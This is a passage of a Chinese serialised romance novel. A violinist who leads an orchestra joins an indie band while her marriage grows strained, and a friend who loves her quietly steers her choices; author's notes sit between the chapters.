林珩眯起眼睛又看她一眼,才转了回去,重新组织起接下来的演奏。 牧衡活动了一下手腕,笑着向陆照霜伸出手,“你好,陆小姐,我是牧衡,这间酒吧的老板,也是思弦的朋友。” “你好。”陆照霜同他握了下手。 感觉自从见过了林珩,不管是谁自称郁思弦的朋友,她都不会觉得奇怪了。 牧衡提议:“我们不如去前面看?” 郁思弦自然没什么意见,征询的目光落在陆照霜身上。 “好。”陆照霜点点头,视线还止不住地往台上飘。 三人回到前面的吧台,牧衡主动接过调酒师的工作,笑眯眯问:“陆小姐,‘黄粱一梦’想不想试试?” 郁思弦警告地瞥了他一眼。 牧衡无辜摊开手。 陆照霜犹豫了一下,“还是那杯‘醉浮生’吧。” 牧衡一脸遗憾,但还是照办。 这位陆小姐接过酒后,就一直盯着舞台,眼里有种少年人常有的光彩和专注,根本没察觉周围偷偷打量她的目光,很偶尔才会机械地尝一口酒。 牧衡怀疑,就算他偷偷把“黄粱一梦”塞给她,她恐怕也不会发觉。 她的心思显然还沉浸在刚才的那场演奏里。 郁思弦就坐在她旁边,手肘搭着卡座,很放松舒展的姿态,和她一样面向舞台的方向。 但每当他端起酒杯,目光就会很轻地从她脸上拂过,神情是牧衡从未见过的温情。 与其说他看的是舞台,不如说他看的是看着舞台的陆照霜。 这一刻,牧衡突然懂得了,为什么郁思弦方才要站在舞台后面。 因为只有站在她身后,他才可以肆无忌惮地看着她。 牧衡倚着吧台,打量着这两人,真是新奇极了,像郁思弦这种对世事淡薄的人,竟然会喜欢这种格外热衷某些事物的人。 后面的整场演奏都乏善可陈。 不只是观众,逃出人间的乐队成员们,显然也适应不了小提琴手更换的巨大落差,注意力很难集中,连林珩这种演奏精密的人,都出了好几次错。 几乎是演出一结束,林珩就带着乐队成员们飞奔过来。 “姐姐你小提琴拉得好厉害!”高若涵不复初见那天的胆怯,搓着手,难掩兴奋。 林珩显然还惦记着演出前的那段争执,摸了摸鼻子,有点不自在,“好吧,抱歉,陆小姐,是我之前判断失误,你确实拉得不错,我——” 他话还没说完,杜骅忽然一拍脑袋,恍然大悟一样大声叫道:“哦哦哦!我想起来了!姐姐你不是申城交响乐团的首席吗?我就说怎么看你这么眼熟,上次我还去听过你们的音乐会呢!” 首什么席? 林珩顿时把后面没说完的“同意你加入我们乐队”吞进了喉咙里,惊恐瞪圆了眼睛,从杜骅看到陆照霜,又从陆照霜看到杜骅,希望是他听错了。 高若涵和唐湾也愣在了当场,只有徐勿凡坐在椅子上跟牧衡要了杯酒,不意外也不好奇,事不关己的模样。 但就算林珩没说出来,陆照霜也听懂了林珩的意思,她眼睫轻颤,低声道:“抱歉。” 林珩手臂上青筋暴起。 哈?原来如此。 人家乐团首席来帮他们拉小提琴,难怪能拉出这种效果,但人家乐团首席又怎么可能放着大好前程不要,来加入他们这个小破乐队? 难怪,难怪,他演出前提议结束后再聊,这家伙一句话没回,感情人家就是来玩一场的,根本没有以后。 林珩活像吞了一只苍蝇,神情难看极了,“哦,那我真是太荣幸了,能和首席小姐共演一场,感谢您今天的赏脸,我就不奉陪了。” 说完,他一头扎进了后台,只给众人留下一个气鼓鼓的后脑。 高若涵有点不知所措,陆照霜不能加入确实让她有点失落,但刚才那一曲是她从未体会过的,她已经很满足了。 可她也知道,队长对乐队的看重程度,和他们是不一样的,她没法去劝队长。 唐湾作为年过三十的老职场人,连忙出来打圆场,“陆小姐,小林他就这个脾气,平时对我们也经常这样,但他没有别的恶意,你别介意。” “没事,本来就是我考虑不周。”陆照霜垂下眼。 在开场前,她之所以没有用自己的首席身份来说服林珩,就是怕他会觉得被羞辱……但最后果然还是这样了。 “我去跟他道个歉吧。”她手掌攥紧,干脆站起身。 郁思弦伸手把她按住,“没事,我去跟他聊。” 陆照霜一愣,就见郁思弦安抚地朝她笑了笑,然后转身进了后台。 还留在这里的人,只有徐勿凡轻松闲适,其他人都有些尴尬地径自玩起了手机。 陆照霜僵在原地,心神不宁。 “陆小姐,思弦你还不了解吗,交给他会没事的。”牧衡宽慰她。 陆照霜当然不是不放心郁思弦,但仍旧有种自己犯了错的局促感。 牧衡打量她片刻,忽然道:“陆小姐,你知道我为什么给这间酒吧起名叫‘搁浅’吗?” 陆照霜的注意力被拉了回来,很意外地抬眼看他,没想到,这个名字竟然是牧衡亲自起的。 看起来一点也不像。 这间酒吧从装潢风格到顾客群体,都透着一股颓丧气质,而牧衡本人却给人一种充满余裕的精英感。 牧衡手上调着酒,徐徐道:“大家总喜欢把人生分为顺境和逆境,但我觉得其实还有另一种状态。” “你对生活称不上满意,但也还能过得去;你可以前进,也可以后退。你被困在这个浅滩里,随波逐流,还不清楚自己到底该怎么办。” “我把这种状态叫做‘搁浅’。” 陆照霜心中微动,陡然明白了这间酒吧为什么会给她颓丧的印象,因为它容纳着很多人不够如意的懊丧。 兴许也包括她。 浅淡的蓝色融碎在酒杯里,像一尾桎梏住的鱼,被轻轻推到她面前。 牧衡微笑,“也是这杯酒的名字。我很多年没有调过了,陆小姐可以尝尝。” * 后台休息室内。 郁思弦背靠着门,盯着一脸暴躁的林珩,“你在生什么气?你们本来就缺小提琴手,雇来的那个学生水平也很一般,阿照让你们的演出更精彩了,你没有理由怨她。” 林珩终于按捺不住,冲过去抓住了郁思弦的领口,咬牙切齿,“别装傻!你知道你对我们做了多糟糕的事吗?” 由奢入俭难,人最受不了的就是落差。 他带着那么一个人过来,转头拍拍衣服离开,叫他们接下来还怎么找下一个队员? 郁思弦垂眸看着他,轻笑了声:“你对你们乐队这么没信心?” 林珩一愣。 郁思弦伸手把他推开,慢条斯理地整着自己的衣服,“半个月前,我带她过来听了一次你们的演出,只那一次,她就能完美复刻出你们的那首曲子,你觉得是为什么?” 林珩有点恍然,“你是说……” 郁思弦意味深长,“林珩,你或许觉得她对你们的吸引力很大,但你们对她来说也是一样。” 林珩感觉自己刚才已经熄灭的那个念头重新被点燃。 但他仍旧保持警惕,眯眼打量着面前这个泰然自若、好像预料到一切的男人,“我怎么觉得……你像是在利用我?” 郁思弦微微歪头,笑了笑,“是这样吗?” 林珩知道他是得不到任何答案了,咬了咬牙,又问:“你好像从一开始就很确定,她会对我们有兴趣。不是我妄自菲薄,但我们和乐团首席比起来,差得有些太远了吧。” 郁思弦沉默片刻,“你觉得人会忘记过去的自己吗?” “看情况吧,我十几岁那个人厌狗嫌的时候,我恨不能当场失忆。好吧……这是个玩笑,谁会忘记自己呢?” 郁思弦笑了笑,目光穿过林珩,像是落在很远的地方,有点微微失焦。 “对,我赌的就是这一点。” * 那杯“搁浅”还没有喝完,陆照霜就看到林珩和郁思弦走了出来。 不知道郁思弦说了什么,林珩整个人就像戴了紧箍咒的孙悟空,平静到都有些吓人了。 陆照霜抚了抚身上的裙子,忐忑地站起身,看着林珩一步步走近,心脏突突直跳,准备迎接林珩的发难。 然而林珩开口时,却堪称彬彬有礼,“陆小姐,既然你对我们的演出也不抵触,你要不要考虑来当我们的支援乐手?” 陆照霜双眼蓦然睁大。 林珩又补充了一个期限,“就到我们找到正式队员为止。” 高若涵和唐湾都有点惊悚,这人是谁,还是他们的刺头队长吗? 徐勿凡则像是来了兴致,好奇地看了好几眼。 陆照霜顿时心乱如麻。 她晚了整整五年,才终于成为首席,这她当然不可能放弃,可不过是支援乐手,帮他们一阵忙而已,应该也没关系吧? 她下意识望向郁思弦。 郁思弦站在林珩身后,和她保持着一段距离,像是不打算干涉她的任何决定,“阿照,我说过,这件事全凭你的意愿。” 【作者有话说】 郁思弦:诱导型小三。指明明什么都干了,但还非要人觉得是自己乐意这么干的。 20/ 第20章 ◎像唆使、像引诱◎ 陆照霜分外动摇,只剩下最后一丝理智,“但音乐会的时间可能会有冲突。” 林珩像是早就预料到这个问题,镇定道:“你们音乐会会提前放票,到时候通知我就好了,我会再另外雇人。” 牧衡也不紧不慢地插了一句,“如果实在有意外,我这边也可以帮忙岔开时间。” 会发生这样的事吗?好像全世界都在为她的叛逆而大开绿灯,简直像撒旦的陷阱。 可她想,凡人终究无法抵御金苹果的诱惑。 她盯着林珩,深深呼了口气,“好,就到你们找到正式队员为止。” “真的假的?”高若涵惊呼,简直有点不敢相信,就这么成了?像今天那样的演出,她还能再享受好多次。 “咳咳!”林珩狠狠咳嗽了两声,给高若涵飞去一个眼神,示意她不要显得他们乐队太没见过世面。 总之,他掏出手机,把微信二维码展示给陆照霜看,“那先加个微信,完了我把我们的曲谱发给你。” “……我没带手机。” 郁思弦及时开口:“我回去把林珩微信推给你。” 林珩这才止住了他们两在联手耍他的怀疑,“也行。” 这时,郁思弦手机微微震动一下,萧烨发来新消息:【思弦,你有没有看到阿霜?】 他只看了一眼,便将手机收了回去,没有回复,只是轻声从旁提醒,“阿照,时间不早了,我们回去吧。” “那我们结束了以后在微信上聊吧。”陆照霜恋恋不舍地和林珩他们告别。 “OK.”林珩随意朝她摆摆手,就转头拉着他的队员们一起商量之后的事了。 再一次从搁浅酒吧推门而出,所有的喧闹热烈都被门隔住,过滤得有些失真,属于街道的车流声重新回来,将她带回现实。 灰姑娘的魔法会在午夜12点失效,她也是。 不知道当灰姑娘从城堡里逃出去的时候,会不会跟她现在是一样的心情呢? 怅然若失间,陆照霜没注意脚下,险些一脚踩空。 幸而郁思弦一把攥住了她的手腕,稳住了她的身体。 陆照霜抬头去看他的眼睛,忽然问:“你是不是一开始就知道,我其实根本没法拒绝这里?” “是。”郁思弦还没有自信到,会以为在发生这一切后,陆照霜还能一无所觉。 “还记得在我家包扎伤口的那天吗?你说你只有两个选择。” 陆照霜一瞬被带回那个和父亲萧烨争执过后的慌张夜晚。 那天他说,她总有一天会发现另一个选择。 郁思弦扶着陆照霜站好,然后松开攥着她的手,迟来地回答当时她的问题:“阿照,你当然还有另一个选择——站在你自己这边。” 陆照霜怔住,久久无法作声。 她身后,那扇属于地下酒吧的门被隐匿在暧昧黯淡的影子里,只从最底下泄露出一点属于内部的光晕。 宛如一条通向荒野的岔道,开在了她那一眼望得到头的人生轨迹上,像唆使、像引诱。 …… 出租车开回到家门口,陆照霜跟郁思弦告别过后,就转身进了家门。 从外面看,里面的灯没有亮,她理所当然地以为萧烨还没有回家。 然而一推门,却在客厅中间,望见一点猩红的影子,淡淡的烟味跟着飘到了鼻尖。 陆照霜愣了一下,打开灯。 萧烨双腿交叠,弓身坐在沙发上,指间别着一根徐徐燃烧的香烟,朝她看过来,气压很低。 陆照霜知道萧烨其实从不抽烟,不为别的,只是因为他讨厌任何可以控制他的瘾。 那他现在这是在做什么? 萧烨打量她两眼,没什么情绪地问:“回来了?思弦送你回来的?干什么去了?” 陆照霜指尖颤了下。 想到今晚一切让她感到兴奋和刺激的东西,放在萧烨眼里,恐怕都只是用来嘲讽她不知轻重、肆意妄为的把柄。 她就淡淡地答了一声,“没什么。没带手机,请思弦帮了个忙而已。” 她弯腰去换鞋子,感觉非常讽刺,他们如今的关系,竟然已经到了连喜悦也无法分享的程度了。 刚一直起腰,萧烨已经走到了她面前,身体压下来。 “没什么?”萧烨讽刺地勾起唇角,手搭在玄关柜子上,几乎是一个将她困住的姿态。 他低下头,在她颈边轻轻一嗅,“好浓的酒味,这叫没什么?要不我干脆去问思弦你干什么去了。” 说着,他伸手打开了手机通讯录。 陆照霜眉头蹙起,按住他的手,“别扯到思弦身上,你和我都够麻烦他的了。” 萧烨本也是作势吓吓她,没再坚持,“你这时候知道不麻烦别人了?知道你今天甩手走了以后,我为了给你收拾烂摊子费了多大的劲吗?” “收拾烂摊子?” 听到这句话的时候,陆照霜首先想起的,却是郁思弦今天说的那句,“在你真的做好准备之前,帮你善后就是我的责任。” 在她草率又不计后果的时候,为她戴上面具的郁思弦,在林珩生气离开后,去劝慰林珩的郁思弦。 好像这才称得上是收拾烂摊子吧。 她觉得好笑极了,语气也跟着冷下来。 “萧烨,我本来是在好好配合你的。你一声招呼也不打,就给我戴那条项链,我忍下了,没有落你的面子。我也非常非常讨厌和今天那对夫妻吃饭,但我忍住了,因为我知道那是你的生意伙伴。” “如果不是你非要故意招惹我,我本来会忍到最后的,萧烨。” 他们俩此刻挨得这么近,以至于那种针尖对麦芒的锋利感,几乎要从彼此眼中喷薄而出。 萧烨嗤笑了一声,“那这么说全怪我了。” 陆照霜警惕地看着他,“你不会又想把最开始那件事搬出来说吧?是,萧烨,我是有私心,可也不是我拿刀架在你脖子上,逼你去领证的。” 萧烨眼睛微微眯起,紧紧盯着她。 清晰地感觉到,不过是在眼前弄丢了几个小时,有什么东西却已经不一样了,正在脱离他的掌控。 他的手从柜子挪到她肩上,然而还未等他进一步动作,手机屏幕忽然一亮。 萧烨无意识地瞥了一眼,下一秒,整个人都跟着僵住,像是陷入了一片迷失的沼泽。 陆照霜趁机甩开他的手,头也不回地上了楼。 玄关处,只剩下萧烨怔怔看着屏幕上跳出的微博推送。 @榕树是好运:回国第一战,入职成功!确定回母校任教了! 配图是申城大学机械与自动化学院的大门,女人穿着米白色的职业装,棕发剪到肩部,清爽干练,怀里抱着一束花,正对着镜头微笑。 * 陆照霜一回卧室,衣服都没顾上换,就找出备用机,登录微信。 郁思弦已经把林珩的微信名片推给了她。 她发出申请没几分钟,林珩就通过了她的好友,一句废话没提,直接把她拉进了他们的群聊。 高若涵立刻发来可爱的小熊表情包:【欢迎姐姐加入!】 唐湾:【欢迎欢迎!】 徐勿凡发来了两个微信自带的鼓掌表情,隔着屏幕,陆照霜都能想象到她那个无所谓的样子。 林珩则是直接打包扔过来一个文件夹,简单一句话:【这是乐谱,你先练,记下了我们约个时间合一下。】 陆照霜抓着手机,情不自禁地弯起眉眼:【好的,谢谢大家。】 下一秒,她听到门外传来的脚步声。 陆照霜下意识抬起头,紧紧盯着门把手,脊骨挺得很直,分不清自己究竟想不想要他进来。 然而,那个熟悉的脚步声只在路过门口时缓了一缓,还没等她搞清自己的真正想法,就毫不停顿地继续向前。 隔壁传来“咔哒”关门声。 萧烨才回国不到一个月,他们就已经快进到分房睡的阶段了。 陆照霜的肩膀慢慢塌陷下去,眼神也呆呆的。 这场冷战比以往都更久。 她实在不愿在这件事里也主动低头,况且萧烨不知道在忙什么,最近几乎见不到他的人,短暂在家里碰面,他也心不在焉的模样。 家里好空。 比起她独居的那两年,另一个人存在过又消失了,这种死寂更让人难以忍受。 她有时候会很讨厌再回去看见满屋的漆黑。 在乐团排练完,她看了眼时间,虽然不是约好的排练日,但她还是驱车前往了逃出人间的排练房。 排练房位置很偏,在近郊一个废旧厂区改造的音乐综合体,她开了一个小时的车才到,但胜在租金便宜。 推门进去,灯亮着,林珩一个人抱着吉他,盘腿坐在地板上,地面上密密麻麻铺满了写到一半的曲子。 听到声,他抬起头,好像也不意外,淡淡来了声:“你来了?” “嗯,”陆照霜把琴盒放到一边,俯身拾起他落在地上的草稿,“曲子写得很不顺利?” 林珩疲倦地“嗯”了声,便低下头继续拨弄他的吉他,只给她留下一个倔强的刺猬头,身上的T恤也皱巴巴的,不知道在这里泡了多久。 陆照霜认识林珩越久,就越偏离林珩最初留给她的印象。 逃出人间的词曲全由林珩一手包揽,但他显然不是灵感源源不断的那种天才,他只是很会投入时间。 除了打一些琐碎零工维持最基本的生存,他剩下的全部时间都投入了乐队里,哪怕这个乐队长久以来,都没有任何能爆火的痕迹,却还是一往无前、不留容错。 陆照霜抓着那些意味着徒劳的废稿,几乎是喃喃自语:“林珩,你都不会……怀疑自己吗?” 怀疑自己的选择是否正确、怀疑自己是否只是徒劳无功、怀疑自己付出的时间是否有意义,就像现在的她一样。 林珩抬头,打量她两眼,却是镇定反问:“怎么,你有很多后悔的事吗?” 20-30 第21章 ◎哪怕你不愿意,我也没法放手了◎ “后悔吗……”这种问题,陆照霜曾经很多次抵触过,也逃避过。 但兴许是因为,林珩对她来说还是个不太熟的生人,不知道她的过去,也无从知晓她犯过的那些蠢事。 所以陆照霜此刻比她预想中要平静得多。 她歪着脑袋,轻声说:“我不知道,可能还是我不够努力吧,不然就不该有后悔的事了。” “噢,”林珩若有所思地点点头,随即挑眉看她,“你把谁的价值观套到了你身上?一点都不适合你。” 陆照霜一愣,抬头时,“你怎么知道”这几个字已经写在了脸上。 林珩懒洋洋道:“再简单不过了,说这种毒鸡汤的人,一定是对别人、对自己要求都特别高、特别强势的那种人,而你嘛……” 他抬眼,毫无顾忌地上下打量她,一点也不客气地评价道:“外强中干、瞻前顾后、优柔寡断、总看人眼色——” “等等,”陆照霜忍无可忍地打断他,睁大了眼,不敢置信,“在你眼里,我原来是这么无可救药的人吗?” “是啊。”林珩摊开手承认。 陆照霜简直要炸毛了。 “但换个角度,”林珩又慢悠悠道:“也可以说你责任心强、体贴入微、乐于牺牲嘛,我是不觉得这算缺点,纯看你自己高不高兴了,不过……” 他托着下巴,幸灾乐祸看她:“我看你的表现,好像也不见得真有多喜欢嘛。” 陆照霜怔怔地张了张嘴,最终却什么也没说,默默把头低了下去,像只刺猬一样把自己重新缩起来。 林珩翻了个白眼,也没有扮演人生导师的意愿,右手拨片在吉他上唰的一扫,铮铮琴声在寂静的房间里荡开,一举扫净他眼里原本的倦意。 “不知道思弦有没有跟你说过,大学我组过一个乐队,挣不了什么钱,一毕业大家就默认散伙,我不是没试过,跟大家一样去规规矩矩上班,但没办法,忍不了就是忍不了。” 他抬手揉了揉自己的耳钉,“辞职报告一递,我就去打了这几个耳钉,虽然挺疼,但也够痛快。” 陆照霜不难想象,以林珩的性格,要把他按在写字楼里应付正常的职场生活,会有多别扭。 她看着他左耳那五个不规则的、炫目张扬的耳钉,赞了一句,“很漂亮。” 林珩诧异看她,像是没料到她会这么说,但心里又十分满意,唇角按捺不住地勾起来。 “所以,什么怀疑、后悔、对不对错不错的,管它呢,我懒得想。我爸妈骂我,那我就搬出去自己住,只要我还有一天活着,我就只想死在那个舞台上。” 固执己见、桀骜不驯、不服管教。 陆照霜从胸腔里呼出一口被灼烧的气。 真是,与她完全不同的人。 林珩坐在郊区偏僻简陋的排练室,怀抱着他虚幻的梦想,只有一把电吉他、皱巴巴的廉价衣服、眼底熬出的青紫陪着他,却像是坐上了某个王座一样愉悦。 世界上有很多这种人,最后被梦想击沉的是大多数。 但陆照霜不希望看到这样的人,有一天被迫低头折腰的模样。 她抓起地上的草稿,一点点仔细抚平,然后站起身,坐到了另一边的钢琴前,打开琴盖,“哪里有问题?弹给我听。” 林珩看着她坐在钢琴前优雅挺直的背影,跟要开个钢琴独奏会似的,摸不准她什么意思。 但他还是依言给她弹了一遍,在滞涩处停下,“感觉这一块有点太平庸了。” 陆照霜闭着眼睛,手指在腿上轻轻敲着刚才的节拍,附和道:“确实。” 她点评得倒真不客气,林珩又翻了个白眼。 “*那这样呢?”陆照霜说着,手指按上琴键。 刚才的那半首曲子从钢琴中流淌而出,虽然经过简化,但当真大差不差。 林珩神情微变。 上次看她能复刻他们的《假面》,他就已经有所预感,可现场看到她这个记谱的能力,也还是觉得有点太变态了吧? 但很快,他就顾不上惊讶了。 钢琴声在接近那段滞涩处的地方,却忽然变换了旋律,如同溪流在山间低回婉转,然后在越过一道山崖时,急促地奔流而出,豁然开朗。 陆照霜双手离开琴键,回头看他,“现在怎么样?” 林珩手上抓着笔,正毫无形象地俯趴在地上奋笔疾书,头也不抬地对她说:“再来一遍!” 这画面实在有些伤眼,陆照霜默默挪开视线,“……好。” 没多久,排练房里就只剩下林珩兴奋的声音。 “那里降个调试试?” “这里不太行啊,等等啊,你听听我改这里怎么样?” …… 不知过去了多久,陆照霜感觉自己都要虚脱了。 倒不是累,平时一场音乐会下来,远比这累得多。 是热,这个排练房没有空调,也不怎么透风,她宛如蒸了一遍桑拿,后背都被汗水浸透了。 林珩这才满意地大叫:“成了成了!” 陆照霜此时已提不起附和他的兴致,抬手抹了把汗,虚弱地说:“嗯……恭喜你。” “什么叫恭喜我?这叫恭喜我们!” 陆照霜一怔,就见林珩大笔一挥,在他刚誊抄好的曲谱上写下了“作曲:林珩、陆照霜”的字样。 她目光久久停留在那几个字上,迟疑问:“还要算上我吗?” “当然,这曲子有你一半功劳啊,合作愉快!等以后我们的曲子大卖,版权费还得分你呢!”林珩眉梢眼角根本藏不住笑意,凑过来跟她击了个掌。 他想得可真够远的。 从今天起,世界上突然莫名其妙,多了一首署着“陆照霜”名字的曲子,还背上了大卖的期望,真是魔幻。 陆照霜明明很清楚,这个纯粹的妄想有多遥不可及,却还是不自觉地弯起了唇角。 不忍扫他的兴,她玩笑般接了句:“好吧,到时候我会把银行卡号发你的。” “这么晚还没回去?”熟悉的声音忽从门口传来。 陆照霜下意识转头望去。 郁思弦不知什么时候来的,倚着门框,目光从他们刚刚击掌的手上移开,落在她脸上。 陆照霜觉得那视线莫名淡得出奇。 但林珩显然没发觉,兴致勃勃抱起吉他,“思弦,好消息!我们刚写了首新曲子,我弹给你听。” 郁思弦垂眼一笑,却是不容置喙的意思,“有点晚了,下次吧。” “那好吧,等我写好词再给你听。”林珩语气里充满遗憾。 陆照霜都听得有点不忍心了,郁思弦却对此视若无睹,微笑着看向她,“阿照,还不回家吗?” 陆照霜看了眼腕表,竟然已经接近零点了。 想到明天还要参加乐团排练,她连忙起身,拿起自己的东西,跟林珩道别。 林珩冲他们两摆摆手,“你们先走吧,我还得待会。” 陆照霜和郁思弦一起下楼,他照旧体贴地帮她拿过琴盒,却一言不发。 只在她走向自己的车时,开口阻止:“阿照,你今天熬得有点久了,别疲劳驾驶,我送你回去吧,你的车我明天让人开回去。” 陆照霜觉得有道理,也就没有拒绝,跟着郁思弦上了车。 狭窄的车内,沉默就格外突兀。 郁思弦不算非常健谈的人,但陆照霜总觉得,他今天的气压低得有些不同寻常。 “思弦,今天碰到什么烦心事了吗?”她关心道。 郁思弦一顿,语气有些生硬,“没有……是我自作自受。” 最后那句低不可闻,陆照霜没听清,“什么?” “没什么,”郁思弦微微一笑,握着方向盘,像只是随口一问:“你好像和林珩很合得来。” 陆照霜眼睛睁大,想起林珩那副自行其是的模样,就忍不住吐槽:“真的会有跟林珩合得来的人吗?” 那得多有忍耐力啊。 “不过……”她又犹豫了一下。 刚才在排练房的那几个小时,虽然热到崩溃,被林珩折磨得超级疲惫,却是她这段时间最轻松自在的时候。 忘记了萧烨那晚的故意捉弄,忘记了和萧烨的冷战,忘记了在乐团内的所有不睦。 正因为与她的人生迥然不同,所以,哪怕只是旁观,都如同陷进一个漩涡,短暂眩晕间,仿佛自己也从现实中挣脱出去了一样。 她手肘撑在车窗边上,视线别向窗外,“我确实不讨厌他这种人就是了。” 郁思弦握着方向盘的指骨一瞬间紧到泛白。 他当然预料到了这支乐队对陆照霜的吸引力,才特意牵线把他们拉到一起。 但想到,刚才在排练房里看到她生动的神情。 那种憧憬、向往和喜悦,从来不会对着郁思弦。 从过去的萧烨,到现在的林珩,她好像总是被这样鲜活浓烈的人吸引。 而郁思弦从来不会走进她的眼里。 他心口泛起密密麻麻的刺痛,偏头看去,就见到她侧脸上微翘的唇角。 他跟着一笑,却是自嘲。 可怎么办呢,阿照?这一次,哪怕你不愿意,我也没法放手了。 他这么想着,强迫自己将盯着她的执着目光重新敛起。 车在陆照霜家门口停好,郁思弦状似不经意般提议:“我想在节目开始前确认他们的状态,所以阿照,下次去排练的时候,也叫上我吧。” 面前的女孩对他的所有算计一无所觉,下车前,还很担心地问:“可排练很花时间的,你不会很忙吗?” “最近比较有空,”郁思弦轻描淡写地将此带过,尽量让自己的语气显得诚恳,又重复了一遍,“可以吗,阿照?” 【作者有话说】 郁思弦:自己还没有三成功,就已经开始觉得自己被三了。(目移) 22/ 第22章 ◎奔向她的心之所向◎ 不知道是不是陆照霜的错觉,她总觉得郁思弦此刻的表情里,有种哄骗的意味。 不过这怎么可能呢? 她磕磕巴巴地回了一句,“那,那你要是不忙的话,下次我们就一起过去吧。” 郁思弦长睫下这才闪过一丝笑意,“那下次见,阿照。” “下次见。”目送郁思弦离开后,陆照霜转头进了家门。 不知道萧烨是出差、加班,亦或是特意躲着她?家里空无一人。 那种在外面短暂浮起的、云层一般轻飘飘的愉悦,被从四面八方伸过来的无形暗线拉扯着坠了下去。 她面无表情地静默片刻,一步一步,走回自己的卧室。 * 申城大学,机械与自动化学院的会议室内。 女人穿着浅棕色西装套,手握激光笔做着汇报。 屏幕上的PPT显然是赶工出来的,十分简单粗暴,但女人面不改色、侃侃而谈,丝毫不受影响,完美地结束了这段演讲。 “对于这套算法,还有什么不够清晰的地方吗?” 她微笑着,将目光投向众人。更准确的说,是投向了坐在会议桌最后,那个托着下巴,俊朗又漫不经心的男人。 萧烨懒洋洋地靠进椅背,抬手鼓了个掌,“没什么问题了,白老师讲得很好。” 顿了顿,他意味深长地又添了一句,“我看再没有比白老师更会讲道理的人了。” 白斯榕指尖蜷了下,面上回以得体的笑意,“那就谢谢萧总的称赞了。” 另一边的副院长丝毫没发觉异样,抬手抹了把汗。 好险,他们这个校企合作的项目推进了很久,一直没有进展,但就在前几天,萧氏忽然表示出接洽的意图,还提出要来参观。 项目的上一个负责人已经离职,新负责人是他们刚从国外挖回来的白斯榕,可以说各方面都还在交接熟悉的阶段,他们被打了个措手不及。 幸好白斯榕临危受命,完美接住了这个考验,看来,接下来的事应该有戏。 副院长笑呵呵看向萧烨,“那萧总,您考虑得怎么样?” 萧烨垂眸沉思片刻,回答:“可以,具体的细则,我之后会派人过来对接。” 眼见着研究经费即将到手,副院长大喜过望,张罗着就要邀请萧烨共进午餐。 萧烨客气地笑了下,语气却是没什么商量的意思,“这就不必了,之后公司还有些事要处理。” “啊……好的。”副院长讪讪道。 “不过,”萧烨抬眼看着副院长,指尖在桌上漫不经心地轻点着,“贵方的负责人是哪位?如果之后项目遇到问题,我希望能得到最准确的答案。” 副院长连忙朝白斯榕使了个眼色,“白老师。” 白斯榕站在原地,胸口短暂地起伏了下,才起身走近,将自己的名片递过来,眼观鼻鼻观心地回答:“萧总有任何问题,都可以来问我。” 萧烨视线从那张名片上很快掠过,示意自己的秘书收起来,对白斯榕微笑道:“那想必,白老师应该不会拒绝我的电话吧?” 白斯榕这才抬头,和萧烨对上视线,几乎有点无可奈何,“当然。” 送走萧烨后,副院长等人嘱咐了几句也离开了。 会议室重新寂静下来,白斯榕疲惫地坐进椅子里。 同事长呼出口气,扑过来担心地看着白斯榕,“白老师你没事吧,我怎么感觉那个萧总,好像有点……针对你呢?” 白斯榕听出她的言外之意,揉着太阳穴笑了笑,“不是那么回事,他不是那种人。” 这话里的熟稔意味,让同事微微一怔,“你们认识?” “他曾经,是我的学生。” “啊?你也没比他大几岁吧?” 随着同事的这句话,白斯榕几乎能听到很多年前少年的声音。 “也就四岁,”十七岁的少年趴在桌上,偏头看着她,目光执拗又不肯服输,“白斯榕,你也就比我大了四岁,别拿我当小孩。” 她目光落在很远的窗外,几乎是在自言自语,“他和当年变得很不一样……我总是忍不住想,是不是因为我当年处理的方式有些不对呢?毕竟那时候我也还很年轻。” “无论如何,”白斯榕轻轻地叹了口气,“毕竟他曾经是我的学生。” * 数日后,又一次音乐会结束,萧烨还是没来。 陆照霜回到后台,来不及换下身上的礼服,撑着柜门就先打开了手机,来回滑动着她和萧烨的聊天界面。 但就算她刷新再多遍,都没有萧烨的任何回复。 她无意识地咬住了下唇,眉眼间溢出难以掩饰的焦躁。 这场冷战已经持续半个月了,她给萧烨寄出音乐会的门票,就已经存了自己先低头的意思,可为什么他连一句回复都没有? 上一次他们吵架的回忆拉扯得她后脑隐隐作痛。 她开始不明白了,是她太过分了吗,她不该逞一时畅快,该忍下来的吗? 种种猜测在她失控的情绪下开始翻涌,她再也无法忍受,打开通讯录就要给萧烨拨去电话,质问他这不闻不问的样子到底是为什么? 正在这时,“咚咚”,有人敲门。 门后,工作人员朝她眨了眨眼,将一束蝴蝶兰捧着送了过来,“陆小姐,郁先生送您的花,他在休息室里等您。” 是了,今晚是和逃出人间约好的排练日。 明确的日程规整了她纷乱的思绪,她重新镇定了下来,“好的,我知道了,谢谢。” 她正准备回去换衣服,却又被另一边的声音叫住。 “照霜。”朱高远朝她招了招手。 陆照霜不明所以地走过去,“朱老师,您找我有事?” 朱老师身后还站在几个乐团的管理层,对她笑道:“从你当选首席后,大家好像还没有一起吃过饭,今晚订了一个厅,团内的人一起去聚聚,顺便给你庆祝下。” 陆照霜愣了下,脑子里首先划过的,却是——明天就是逃出人间的演出了,有几首歌还没有和其他人合过。 大家都是兼职,找出所有人都在的时间并不容易,今天不合奏,明天就只能在场上随机应变了。 陆照霜一开始就知道,即便她抽出自己所有的空余时间,用来投入到逃出人间的练习,努力平衡乐团和乐队之间的关系,也总会冲突的一天。 这二者之间,她该做什么选择,毋庸置疑。 “我……”刚一开口,她却发现自己嗓子哑了,那些该说的话一个字也说不出口。 朱高远疑惑地蹙起眉,“照霜?” 陆照霜垂着眼睫,“我……” 她应该去跟乐团一起吃饭,维系和团员之间的关系,毕竟乐团内本来就有很多人看她不顺眼,这才是正确的事情。 可在应该之外,她真正想要的究竟是什么? 林珩评价她的那些词一个个跳进她的脑海里——外强中干、瞻前顾后、优柔寡断、总看人眼色。 是的,她总看人眼色,连沈霖都这么说过她。 她真的觉得和萧烨吵架是她做错了吗?或者说,即便她做错了,她是真心实意在感到后悔,而不是只在说服自己吗? 那天她从酒店逃出去时,愉悦饱胀的心情,总不会是骗人的。 闭了闭眼,她听见自己的声音:“我不想去。” “嗯?”朱高远疑心自己听错了,他这个向来懂事识大体的学生怎么会说这种话? 陆照霜抬起头,直视朱高远的眼睛,没有躲避,“朱老师,我今天还有别的重要的事情,所以,抱歉,我去不了。” 旁边的管理层已有些不满,“大晚上的,能有什么重要的事?你要知道轻重。” 只有朱高远一言不发,他看着陆照霜的眼睛,觉得她身上好像有什么东西变得不一样了,他不禁问:“你确定吗?” “嗯,”陆照霜一字字道:“我确定。” 朱高远看了她好一会儿,然后道:“那你去吧。” 